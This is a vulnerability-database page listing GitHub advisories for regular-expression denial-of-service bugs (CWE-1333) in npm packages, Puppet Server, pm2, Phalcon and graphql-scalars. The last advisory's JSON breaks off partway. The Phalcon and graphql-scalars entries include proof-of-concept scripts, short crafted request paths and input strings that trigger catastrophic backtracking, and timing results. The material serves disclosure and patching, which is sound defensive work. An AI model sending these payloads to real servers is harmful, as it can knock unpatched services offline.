CWE-1333
AllowedInefficient Regular Expression Complexity
Abstraction: Base · Status: Draft
The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.
1000 vulnerabilities reference this CWE, most recent first.
GHSA-X4HG-HFWF-P9MW
Vulnerability from github – Published: 2026-07-02 20:20 – Updated: 2026-07-02 20:20Summary
The HTMLInputElement.checkValidity() method constructed a RegExp directly from the user-controlled pattern property without any sanitization or timeout protection. This allowed an attacker to inject a regex with catastrophic backtracking, freezing the event loop.
Fix
Fixed in commit https://github.com/asymmetric-effort/NogginLessDom/commit/25a3cbac665fae5663f8b71c073b80c3152dbe7b on main. Added:
- Pattern length limit (1024 characters)
- Nested quantifier detection (hasNestedQuantifiers) that rejects patterns like (a+)+ before constructing the regex
- Patterns exceeding limits are treated as non-matching (safe default)
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.0.21"
},
"package": {
"ecosystem": "npm",
"name": "@asymmetric-effort/nogginlessdom"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.22"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-02T20:20:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `HTMLInputElement.checkValidity()` method constructed a `RegExp` directly from the user-controlled `pattern` property without any sanitization or timeout protection. This allowed an attacker to inject a regex with catastrophic backtracking, freezing the event loop.\n\n## Fix\n\nFixed in commit https://github.com/asymmetric-effort/NogginLessDom/commit/25a3cbac665fae5663f8b71c073b80c3152dbe7b on `main`. Added:\n- Pattern length limit (1024 characters)\n- Nested quantifier detection (`hasNestedQuantifiers`) that rejects patterns like `(a+)+` before constructing the regex\n- Patterns exceeding limits are treated as non-matching (safe default)",
"id": "GHSA-x4hg-hfwf-p9mw",
"modified": "2026-07-02T20:20:04Z",
"published": "2026-07-02T20:20:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/asymmetric-effort/NogginLessDom/security/advisories/GHSA-x4hg-hfwf-p9mw"
},
{
"type": "WEB",
"url": "https://github.com/asymmetric-effort/NogginLessDom/commit/25a3cbac665fae5663f8b71c073b80c3152dbe7b"
},
{
"type": "PACKAGE",
"url": "https://github.com/asymmetric-effort/NogginLessDom"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@asymmetric-effort/nogginlessdom vulnerable to ReDoS via user-controlled regex in HTMLInputElement pattern validation"
}
GHSA-X55W-VJJP-222R
Vulnerability from github – Published: 2021-09-29 17:12 – Updated: 2022-08-10 23:43inflect is customizable inflections for nodejs. inflect is vulnerable to Inefficient Regular Expression Complexity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "i"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3820"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-28T19:27:17Z",
"nvd_published_at": "2021-09-27T13:15:00Z",
"severity": "HIGH"
},
"details": "inflect is customizable inflections for nodejs. inflect is vulnerable to Inefficient Regular Expression Complexity",
"id": "GHSA-x55w-vjjp-222r",
"modified": "2022-08-10T23:43:58Z",
"published": "2021-09-29T17:12:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3820"
},
{
"type": "WEB",
"url": "https://github.com/pksunkara/inflect/commit/a9a0a8e9561c3487854c7cae42565d9652ec858b"
},
{
"type": "PACKAGE",
"url": "https://github.com/pksunkara/inflect"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/4612b31a-072b-4f61-a916-c7e4cbc2042a"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "inflect vulnerable to Inefficient Regular Expression Complexity"
}
GHSA-X5CV-MQXQ-8Q96
Vulnerability from github – Published: 2023-05-05 00:30 – Updated: 2024-04-04 03:49A Regular Expression Denial of Service (ReDoS) issue was discovered in Puppet Server 7.9.2 certificate validation. An issue related to specifically crafted certificate names significantly slowed down server operations.
{
"affected": [],
"aliases": [
"CVE-2023-1894"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-05-04T23:15:08Z",
"severity": "MODERATE"
},
"details": "A Regular Expression Denial of Service (ReDoS) issue was discovered in Puppet Server 7.9.2 certificate validation. An issue related to specifically crafted certificate names significantly slowed down server operations.",
"id": "GHSA-x5cv-mqxq-8q96",
"modified": "2024-04-04T03:49:17Z",
"published": "2023-05-05T00:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-1894"
},
{
"type": "WEB",
"url": "https://www.puppet.com/security/cve/cve-2023-1894-puppet-server-redos"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-X5GF-QVW8-R2RM
Vulnerability from github – Published: 2025-06-09 21:30 – Updated: 2026-05-20 02:06A vulnerability classified as problematic was found in Unitech pm2 prior to 7.0.0. This vulnerability affects unknown code of the file /lib/tools/Config.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "pm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-5891"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T22:52:17Z",
"nvd_published_at": "2025-06-09T19:15:25Z",
"severity": "LOW"
},
"details": "A vulnerability classified as problematic was found in Unitech pm2 prior to 7.0.0. This vulnerability affects unknown code of the file /lib/tools/Config.js. The manipulation leads to inefficient regular expression complexity. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used.",
"id": "GHSA-x5gf-qvw8-r2rm",
"modified": "2026-05-20T02:06:26Z",
"published": "2025-06-09T21:30:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5891"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/issues/6075"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/pull/5971"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/commit/8b9354800a1d157cb9503a3ec414ef1e4700dc1c"
},
{
"type": "WEB",
"url": "https://gist.github.com/mmmsssttt404/407e2ffe3e0eaa393ad923a86316a385"
},
{
"type": "PACKAGE",
"url": "https://github.com/Unitech/pm2"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/blob/ba62cae9b9b7116ee758b70f538919a52515fa26/CHANGELOG.md?plain=1#L36"
},
{
"type": "WEB",
"url": "https://github.com/Unitech/pm2/releases/tag/v7.0.0"
},
{
"type": "WEB",
"url": "https://vuldb.com/?ctiid.311662"
},
{
"type": "WEB",
"url": "https://vuldb.com/?id.311662"
},
{
"type": "WEB",
"url": "https://vuldb.com/?submit.585750"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "pm2 Regular Expression Denial of Service vulnerability"
}
GHSA-X6FG-F45M-JF5Q
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2026-03-03 20:03Versions 4.3.1 and earlier of semver are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
Recommendation
Update to version 4.3.2 or later
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "semver"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.4"
},
{
"fixed": "4.3.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-8855"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T22:02:25Z",
"nvd_published_at": "2017-01-23T21:59:00Z",
"severity": "HIGH"
},
"details": "Versions 4.3.1 and earlier of `semver` are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n\n## Recommendation\n\nUpdate to version 4.3.2 or later",
"id": "GHSA-x6fg-f45m-jf5q",
"modified": "2026-03-03T20:03:27Z",
"published": "2017-10-24T18:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-8855"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/7102"
},
{
"type": "WEB",
"url": "https://github.com/npm/node-semver/commit/5c4c9f6e26c7052a42b5ced2a7481c5c9b4363a0"
},
{
"type": "WEB",
"url": "https://github.com/npm/node-semver/commit/c80180d8341a8ada0236815c29a2be59864afd70"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-x6fg-f45m-jf5q"
},
{
"type": "PACKAGE",
"url": "https://github.com/npm/node-semver"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/31"
},
{
"type": "WEB",
"url": "https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/04/20/11"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/86957"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Regular Expression Denial of Service in semver"
}
GHSA-X7RJ-F32V-7JJG
Vulnerability from github – Published: 2026-08-28 16:06 – Updated: 2026-08-28 16:06Summary
Every Phalcon MVC application built with a default router (new Phalcon\Mvc\Router() or new Phalcon\Mvc\Router(true), which is the normal case) registers a built-in route whose compiled PCRE pattern is #^/([\w0-9\_\-]+)/([\w0-9\.\_]+)(/.*)*$#u. The trailing (/.*)* is a nested quantifier whose group body (/.*) overlaps itself (. matches /, and there is no s/DOTALL flag), so when the final $ is forced to fail the engine explores roughly 2^(N/2) ways to split a run of N slashes, causing classic catastrophic backtracking. Phalcon\Mvc\Router::handle() runs on every request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same (/.*)* construct is also produced by the /:params placeholder (Phalcon\Mvc\Router\Route::compilePattern()) and by the CLI router (Phalcon\Cli\Router / Phalcon\Cli\Router\Route).
Details
The vulnerable pattern is emitted in four places, all carrying the same * nested quantifier:
- Default MVC route registration
phalcon/Mvc/Router.zep(Router::__construct()):"#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u", with paths["controller": 1, "action": 2, "params": 3]. /:paramsplaceholder expansionsphalcon/Mvc/Router/Route.zep(Route::compilePattern()):str_replace("/:params", "(/.*)*", pattern).- Default CLI route
phalcon/Cli/Router.zep(Router::__construct()):"#^(?::delimiter)?([a-zA-Z0-9\\_\\-]+):delimiter([a-zA-Z0-9\\.\\_]+)(:delimiter.*)*$#". - CLI
/:paramsexpansionphalcon/Cli/Router/Route.zep(Route::compilePattern()):"(" . this->delimiter . ".*)*".
Router::handle() matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call preg_match() with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since . does not match \n), the anchored $ cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.
Remote reachability
In the default MVC configuration the router uses URI_SOURCE_GET_URL, i.e. it reads the request path from $_GET["_url"], which the web server populates from the rewritten request path. PHP URL-decodes $_GET, so a request path containing %0a%0a arrives as the literal two-byte string "\n\n". The two newlines are the trigger: . cannot match \n, and PCRE's $ forgives exactly one trailing \n, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.
Example malicious request path (≈40 bytes): /a/a////////////////////////////////%0a%0a (two short segments, a run of /, then %0a%0a).
Applications configured with URI_SOURCE_SERVER_REQUEST_URI are not reachable through this specific newline trick because REQUEST_URI is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.
Proof of Concept
<?php
use Phalcon\Di\FactoryDefault;
use Phalcon\Mvc\Router;
$di = new FactoryDefault();
$router = new Router(true); // defaultRoutes = true (the default)
$router->setDI($di);
echo "phalcon : " . phpversion("phalcon") . "\n";
echo "pcre.backtrack_limit: " . ini_get("pcre.backtrack_limit") . "\n";
echo "pcre.jit : " . ini_get("pcre.jit") . "\n";
// Default configuration
foreach ($router->getRoutes() as $r) {
if (strpos($r->getCompiledPattern(), "(/.*)*") !== false) {
echo "vulnerable route : " . $r->getCompiledPattern() . "\n";
}
}
echo "\n";
function bench(Router $router, string $uri, string $label): void
{
$t0 = hrtime(true);
try {
$router->handle($uri);
} catch (\Throwable $e) {
// matching failure and fallback to time
}
$ms = (hrtime(true) - $t0) / 1e6;
printf(" %-22s uri_len=%4d %10.3f ms\n", $label, strlen($uri), $ms);
}
bench($router, "/products/edit/123", "normal URL");
echo "\n";
// Malicious: two short segments, then a run of slashes, then "\n\n" (the decoded %0a%0a).
$ks = getenv("REDOS_KS") ? array_map("intval", explode(",", getenv("REDOS_KS")))
: [14, 18, 22, 26, 30, 34];
foreach ($ks as $k) {
$uri = "/a/a" . str_repeat("/", $k) . "\n\n";
bench($router, $uri, "evil slashes=$k");
}
echo "\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\n";
echo "to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\n";
echo "(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\n";
in poc above builds a default Phalcon\Mvc\Router, confirms the live compiled pattern contains (/.*)*, and times $router->handle($uri) (the real request path) for crafted URIs of the form "/a/a" . str_repeat("/", k) . "\n\n". Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):
phalcon : 5.14.2
vulnerable route : #^/([\w0-9\_\-]+)/([\w0-9\.\_]+)(/.*)*$#u
DEFAULT config (pcre.jit=1, backtrack_limit=1,000,000)
normal URL uri_len= 18 1.182 ms
evil slashes=22 uri_len= 28 1.016 ms
evil slashes=34 uri_len= 40 1.015 ms (plateau = backtrack-limit bail)
RAISED backtrack_limit=1e9, pcre.jit=0 (true exponential)
evil slashes=18 uri_len= 24 5.555 ms
evil slashes=22 uri_len= 28 90.317 ms
evil slashes=24 uri_len= 30 356.800 ms
evil slashes=26 uri_len= 32 1426.734 ms
evil slashes=28 uri_len= 34 5727.099 ms
The curve is cleanly exponential each four extra slashes multiplies the time by ~16× (2^(N/2)). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.
Impact
Two regimes, both measured on the real build:
-
Default PHP configuration (JIT on,
pcre.backtrack_limit = 1,000,000): each match bails at the backtrack limit after a fixed ~1 ms andpreg_match()reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. -
PCRE JIT disabled, or
pcre.backtrack_limitraised: a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.14.2"
},
"package": {
"ecosystem": "Packagist",
"name": "phalcon/cphalcon"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57584"
],
"database_specific": {
"cwe_ids": [
"CWE-1333"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T16:06:31Z",
"nvd_published_at": "2026-07-10T22:16:44Z",
"severity": "HIGH"
},
"details": "## Summary\n\nEvery Phalcon MVC application built with a default router (`new Phalcon\\Mvc\\Router()` or `new Phalcon\\Mvc\\Router(true)`, which is the normal case) registers a built-in route whose compiled PCRE pattern is `#^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u`. The trailing `(/.*)*` is a nested quantifier whose group body (`/.*`) overlaps itself (`.` matches `/`, and there is no `s`/DOTALL flag), so when the final `$` is forced to fail the engine explores roughly `2^(N/2)` ways to split a run of `N` slashes, causing classic catastrophic backtracking. `Phalcon\\Mvc\\Router::handle()` runs on **every** request and matches this pattern against the attacker-controlled request URI, so a single short request can burn seconds-to-minutes of CPU per request. The same `(/.*)*` construct is also produced by the `/:params` placeholder (`Phalcon\\Mvc\\Router\\Route::compilePattern()`) and by the CLI router (`Phalcon\\Cli\\Router` / `Phalcon\\Cli\\Router\\Route`).\n\n\n## Details \n\nThe vulnerable pattern is emitted in four places, all carrying the same `*` nested quantifier:\n\n- Default MVC route registration `phalcon/Mvc/Router.zep` (`Router::__construct()`): `\"#^/([\\\\w0-9\\\\_\\\\-]+)/([\\\\w0-9\\\\.\\\\_]+)(/.*)*$#u\"`, with paths `[\"controller\": 1, \"action\": 2, \"params\": 3]`.\n- `/:params` placeholder expansions `phalcon/Mvc/Router/Route.zep` (`Route::compilePattern()`): `str_replace(\"/:params\", \"(/.*)*\", pattern)`.\n- Default CLI route `phalcon/Cli/Router.zep` (`Router::__construct()`): `\"#^(?::delimiter)?([a-zA-Z0-9\\\\_\\\\-]+):delimiter([a-zA-Z0-9\\\\.\\\\_]+)(:delimiter.*)*$#\"`.\n- CLI `/:params` expansion `phalcon/Cli/Router/Route.zep` (`Route::compilePattern()`): `\"(\" . this-\u003edelimiter . \".*)*\"`.\n\n`Router::handle()` matches the request URI against this pattern on every request (the combined-regex fast path and the per-route dynamic loop both call `preg_match()` with it). When the subject string ends in a byte that the group cannot consume (for example a newline, since `.` does not match `\\n`), the anchored `$` cannot be satisfied and the engine backtracks over every partition of the leading run of slashes, which is exponential in the number of slashes.\n\n## Remote reachability\n\nIn the default MVC configuration the router uses `URI_SOURCE_GET_URL`, i.e. it reads the request path from `$_GET[\"_url\"]`, which the web server populates from the rewritten request path. **PHP URL-decodes `$_GET`**, so a request path containing `%0a%0a` arrives as the literal two-byte string `\"\\n\\n\"`. The two newlines are the trigger: `.` cannot match `\\n`, and PCRE\u0027s `$` forgives exactly one trailing `\\n`, so two of them force the match to fail and unleash the backtracking. No authentication, cookies, or application-specific routes are needed.\n\nExample malicious request path (\u224840 bytes): `/a/a////////////////////////////////%0a%0a` (two short segments, a run of `/`, then `%0a%0a`).\n\nApplications configured with `URI_SOURCE_SERVER_REQUEST_URI` are not reachable through this specific newline trick because `REQUEST_URI` is not URL-decoded; they remain exposed to the underlying CPU amplification when the unmatchable tail can be introduced by other means.\n\n## Proof of Concept\n\n```php\n\u003c?php\n\nuse Phalcon\\Di\\FactoryDefault;\nuse Phalcon\\Mvc\\Router;\n\n$di = new FactoryDefault();\n$router = new Router(true); // defaultRoutes = true (the default)\n$router-\u003esetDI($di);\n\necho \"phalcon : \" . phpversion(\"phalcon\") . \"\\n\";\necho \"pcre.backtrack_limit: \" . ini_get(\"pcre.backtrack_limit\") . \"\\n\";\necho \"pcre.jit : \" . ini_get(\"pcre.jit\") . \"\\n\";\n\n// Default configuration\nforeach ($router-\u003egetRoutes() as $r) {\n if (strpos($r-\u003egetCompiledPattern(), \"(/.*)*\") !== false) {\n echo \"vulnerable route : \" . $r-\u003egetCompiledPattern() . \"\\n\";\n }\n}\necho \"\\n\";\n\nfunction bench(Router $router, string $uri, string $label): void\n{\n $t0 = hrtime(true);\n try {\n $router-\u003ehandle($uri);\n } catch (\\Throwable $e) {\n // matching failure and fallback to time\n }\n $ms = (hrtime(true) - $t0) / 1e6;\n printf(\" %-22s uri_len=%4d %10.3f ms\\n\", $label, strlen($uri), $ms);\n}\n\nbench($router, \"/products/edit/123\", \"normal URL\");\necho \"\\n\";\n\n// Malicious: two short segments, then a run of slashes, then \"\\n\\n\" (the decoded %0a%0a).\n$ks = getenv(\"REDOS_KS\") ? array_map(\"intval\", explode(\",\", getenv(\"REDOS_KS\")))\n : [14, 18, 22, 26, 30, 34];\nforeach ($ks as $k) {\n $uri = \"/a/a\" . str_repeat(\"/\", $k) . \"\\n\\n\";\n bench($router, $uri, \"evil slashes=$k\");\n}\n\necho \"\\nEach +4 slashes multiplies time ~16x (clean 2^N). A ~40-byte URL is sufficient\\n\";\necho \"to pin a CPU core; under default backtrack_limit the per-request cost is a fixed\\n\";\necho \"(but ~10000x-amplified vs a normal route) bail, exhausting workers under volume.\\n\";\n\n\n```\n\nin poc above builds a default `Phalcon\\Mvc\\Router`, confirms the live compiled pattern contains `(/.*)*`, and times `$router-\u003ehandle($uri)` (the real request path) for crafted URIs of the form `\"/a/a\" . str_repeat(\"/\", k) . \"\\n\\n\"`. Measured against a clean, non-sanitizer build of Phalcon 5.14.2 (PHP 8.3.31 NTS):\n\n```\nphalcon : 5.14.2\nvulnerable route : #^/([\\w0-9\\_\\-]+)/([\\w0-9\\.\\_]+)(/.*)*$#u\n\nDEFAULT config (pcre.jit=1, backtrack_limit=1,000,000)\n normal URL uri_len= 18 1.182 ms\n evil slashes=22 uri_len= 28 1.016 ms\n evil slashes=34 uri_len= 40 1.015 ms (plateau = backtrack-limit bail)\n\nRAISED backtrack_limit=1e9, pcre.jit=0 (true exponential)\n evil slashes=18 uri_len= 24 5.555 ms\n evil slashes=22 uri_len= 28 90.317 ms\n evil slashes=24 uri_len= 30 356.800 ms\n evil slashes=26 uri_len= 32 1426.734 ms\n evil slashes=28 uri_len= 34 5727.099 ms\n```\n\nThe curve is cleanly exponential each four extra slashes multiplies the time by ~16\u00d7 (`2^(N/2)`). A ~34-byte URL already costs ~5.7 s of CPU; ~40 bytes reaches minutes.\n\n## Impact\n\nTwo regimes, both measured on the real build:\n\n- **Default PHP configuration (JIT on, `pcre.backtrack_limit = 1,000,000`):** each match bails at the backtrack limit after a fixed ~1 ms and `preg_match()` reports failure. This is not a per-request hang, but it is (a) a large CPU amplification per tiny request a few hundred concurrent ~40-byte requests saturate the PHP-FPM worker pool (volumetric DoS), and (b) a correctness bug, because the default route silently fails to match and affected requests mis-route / 404. \n\n- **PCRE JIT disabled, or `pcre.backtrack_limit` raised:** a single ~40-byte request pins a CPU core for seconds to minutes a classic single-packet ReDoS that hangs a worker outright. PCRE JIT is disabled on a number of distributions/builds, and applications with complex routes or large request bodies sometimes raise the backtrack limit, so this is a realistic configuration.",
"id": "GHSA-x7rj-f32v-7jjg",
"modified": "2026-08-28T16:06:31Z",
"published": "2026-08-28T16:06:31Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/security/advisories/GHSA-x7rj-f32v-7jjg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57584"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/14ba22d389d5ca620bb9d5207205f836ef1224f2"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/commit/fa798e919cb2c487062bb9899ad6fc2b673b3a67"
},
{
"type": "PACKAGE",
"url": "https://github.com/phalcon/cphalcon"
},
{
"type": "WEB",
"url": "https://github.com/phalcon/cphalcon/releases/tag/v5.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Phalcon: Catastrophic backtracking (ReDoS) in the default Phalcon Router route lead to remote unauthenticated DoS"
}
GHSA-X8RM-F576-GQ67
Vulnerability from github – Published: 2026-10-28 21:13 – Updated: 2026-10-30 15:36Summary
The regular expression behind GraphQLPhoneNumber since 1.24.1 backtracks exponentially. A string made of a run of digits followed by one character that makes the match fail (for example "1".repeat(30) + "x") blocks the JavaScript thread for seconds, and every additional digit doubles the time.
graphql-js calls parseLiteral while validating a document and parseValue while coercing variables, so the regex runs for every request that merely contains such a value in a PhoneNumber position, before execution and before any authentication or authorization step of the server. One small unauthenticated request is enough to stall a server process.
Affected versions
graphql-scalars>= 1.24.1, <= 2.0.0 (2.0.0 is the currentlatest; the default branch still has the same pattern).- Not affected: 1.24.0 and the earlier versions I checked (1.22.4, 1.23.0), which use the linear
/^\+[1-9]\d{6,14}$/. - Introduced by #2719 (c7f58da16, "PhoneNumber scalar is not fully compatible with E.164 format so updated regex to support phone number with extension"), released as 1.24.1 on 2025-01-29.
The payload was ran against 1.22.4, 1.23.0, 1.24.0, 1.24.1, 1.24.2, 1.25.0, 1.26.0 and 2.0.0: the first three reject it instantly, the other five show the exponential growth.
Root cause
src/scalars/PhoneNumber.ts:
const PHONE_NUMBER_REGEX = /^\+?\d{1,3}(\-|\x20)?\(?\d+\)?((\-|\x20)?\d+)+$/;
In \d+\)?((\-|\x20)?\d+)+$ the separator is optional, so a run of n digits can be split across the inner \d+ and the outer + iterations in a number of ways that is exponential in n. When the overall match fails, for instance on a trailing non-digit, the engine tries all of them.
Proof of concept
- The scalar alone (
npm i graphql graphql-scalars@2.0.0):
import { GraphQLPhoneNumber } from 'graphql-scalars';
for (const ok of ['+41791234567', '079 123 45 67', '+1 (123) 456-7890', 'nope']) {
try { GraphQLPhoneNumber.parseValue(ok); } catch {}
}
for (const digits of [24, 26, 28, 30]) {
const start = performance.now();
try { GraphQLPhoneNumber.parseValue('1'.repeat(digits) + 'x'); } catch {}
console.log(`${digits} digits: ${((performance.now() - start) / 1000).toFixed(2)} s`);
}
Measured warm, i.e. after ordinary inputs have been validated like in a running server:
| digits | Node 22.19.0 | Node 26.10.0 |
|---|---|---|
| 24 | 0.10 s | 0.07 s |
| 26 | 0.41 s | 0.29 s |
| 28 | 1.63 s | 1.14 s |
| 30 | 6.59 s | 4.62 s |
The time doubles with every digit. The first execution of the regex in a fresh process is about 5x slower because V8 interprets a regexp on its first run (Node 22.19.0, 28 digits: 7.8 s).
- Through graphql-js, no server and no authentication: a schema with a single
echo(phone: PhoneNumber)field, 26 digits +x, Node 22.19.0, warm:
literal (parseLiteral, validation) |
variable (parseValue, coercion) |
|
|---|---|---|
| graphql 16.14.2 | 0.41 s | 0.43 s |
| graphql 17.0.2 | 0.41 s | 0.83 s (evaluated twice) |
- Also reproduced end to end against a GraphQL Yoga server: an anonymous HTTP request with a 27-digit value plus one invalid character stalled the whole process (a concurrent trivial
{ __typename }request waited as long). A mutation that requires authentication was affected equally when called anonymously, because document validation runs before any authorization in resolvers or context.
Impact
Denial of service. Any GraphQL server that exposes PhoneNumber on an argument, an input object field or a variable can be stalled by a request of about 30 characters; roughly 40 characters would keep a process busy for hours (extrapolated from the doubling, not measured). serialize uses the same regex, so unvalidated stored values returned through a PhoneNumber field are affected too. The actual severity depends on the scalar being applied to untrusted input, which is the typical case.
Suggested fix
An equivalent pattern without ambiguous splits:
const PHONE_NUMBER_REGEX = /^\+?\d{1,3}[- ]?\(?\d(?:\d*\))?(?:[- ]?\d)+$/;
It accepts exactly the same strings as the current one, so there is no behaviour change: with N = (S?\d+)+ = (S?\d)+ a digit run is just repeated single-digit iterations, hence \d+\)?N = \d(\d*\))?N. Verification:
- exhaustive comparison of old and new pattern on every string up to length 9 over
1 + - space ( ) x: 47,079,208 strings (1,832 accepted), 0 differences; - every sequence of up to 6 tokens from
1 11 111 1111 11111 + - space ( ) x: 1,948,717 strings (100,380 accepted), 0 differences; - adversarial inputs (digit runs plus a failing character, digit/space and digit/dash alternations, parenthesis variants) scale linearly: 1,000,000 characters take about 10 ms, where the current pattern needs 0.3 s for 26.
Optionally also reject values above a sane length before matching; the grammar currently has no upper bound and E.164 allows at most 15 digits. Above roughly 10 million characters V8 aborts the match with a RangeError (stack) after about 25 ms instead of returning false.
A regression test that fails with the current implementation: GraphQLPhoneNumber.parseValue('1'.repeat(40) + 'x') must throw its validation error immediately; with the current pattern it does not return in any reasonable time.
Workarounds for users until a fix is released
- Replace the scalar in the schema with one that uses the pattern above.
- Run Node with
--enable-experimental-regexp-engine-on-excessive-backtracks, or callv8.setFlagsFromString('--enable-experimental-regexp-engine-on-excessive-backtracks')before the regex first runs. V8 then falls back to its linear-time engine after excessive backtracking; verified on Node 22.19, 24.15 and 26.10. The flag is not accepted inNODE_OPTIONS. - Pinning
graphql-scalarsto <= 1.24.0 restores a linear pattern but changes which values are accepted (only+prefixed E.164).
Coordination
We have not disclosed this publicly. We maintain Unchained Engine (@unchainedshop/api), a downstream project that exposes this scalar on public input fields and will need to ship a mitigation of its own, so we would like to coordinate the timing of any public disclosure with you. Please let us know your preferred timeline, and whether you would like us to prepare a pull request (we can work in a temporary private fork if you enable one).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.0.0"
},
"package": {
"ecosystem": "npm",
"name": "graphql-scalars"
},
"ranges": [
{
"events": [
{
"introduced": "1.24.1"
},
{
"fixed": "2.0.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115887"
],
"database_specific": {
